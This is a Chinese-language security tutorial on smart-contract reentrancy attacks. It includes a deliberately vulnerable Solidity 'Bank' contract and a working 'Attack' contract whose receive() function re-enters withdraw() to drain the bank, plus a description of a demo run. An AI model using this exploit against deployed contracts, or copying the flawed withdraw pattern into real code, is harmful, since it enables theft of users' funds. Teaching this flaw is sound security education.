合约安全:重入攻击

admin 2024年10月18日23:48:15评论38 views字数 1652阅读5分30秒阅读模式

重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback函数)循环调用合约,将合约中资产转走或铸造大量代币。

重入攻击举例

web2.0中的重放攻击导致的逻辑漏洞类似,当用户向合约提现时,正常情况如下

  • 用户向合约发起请求提现

  • 合约检测该用户是否有足够的余额,有的话进行转账

  • 转账成功,用户余额置为0
    相信大家已经看出问题了:转账后才将用户的余额置为0,如果我们能做到像web2.0一样在短时间内不断的发包,在置为0前不断的触发转账函数即可做到将大量的钱转走。因此,我们可以写一个恶意合约来完成我们的设想

思路

  • 用户发起提现请求

  • 合约检测用户余额,向用户提供的提现地址转账

  • 通过向恶意合约转账。触发恶意fallback()/recevie()函数,该函数的内容为请求合约向合约转账。就此,陷入转账的循环,却一直没有到将用户余额置0的那行

/*    那个函数被调用了?  是 fallback() 还是 receive()?              send Ether                      |         msg.data  是否为空?              /                          是              否            /                   receive() 存在?       fallback()         /                    是           否        /                    receive()   fallback()    */

实例

预备阶段

bank合约

contract Bank {    mapping (address => uint256) public balanceOf;    // 余额mapping    // 存入ether,并更新余额    function deposit() external payable {        balanceOf[msg.sender] += msg.value;    }    // 提取msg.sender的全部ether    function withdraw() external {        uint256 balance = balanceOf[msg.sender]; // 获取余额        require(balance > 0, "Insufficient balance");        // 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!        (bool success, ) = msg.sender.call{value: balance}("");        require(success, "Failed to send Ether");        // 更新余额        balanceOf[msg.sender] = 0;    }    // 获取银行合约的余额    function getBalance() external view returns (uint256) {        return address(this).balance;    }

往银行先转个20eth

合约安全:重入攻击

部署Attack合约

contract Attack {    Bank public bank; // Bank合约地址    // 初始化Bank合约地址    constructor(Bank _bank) {        bank = _bank;    }    // 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数    receive() external payable {        if (bank.getBalance() >= 1 ether) {            bank.withdraw();        }    }    // 攻击函数,调用时 msg.value 设为 1 ether    function attack() external payable {        require(msg.value == 2 ether, "Require 1 Ether to attack");        bank.deposit{value: 2 ether}();        bank.withdraw();    }    // 获取本合约的余额    function getBalance() external view returns (uint256) {        return address(this).balance;    }}

开始攻击

因为Attack合约中,构造函数已经初始化了Bank,因此,直接传入Bank地址创建该Attack合约

合约安全:重入攻击

目前该Attack合约没有钱,调用attack方法的时候记得转2eth过去
调用attack方法后,Attack合约余额变为了22ethbanck余额为0

合约安全:重入攻击

原文始发于微信公众号(Poker安全):合约安全:重入攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日23:48:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   合约安全:重入攻击https://cn-sec.com/archives/1884570.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息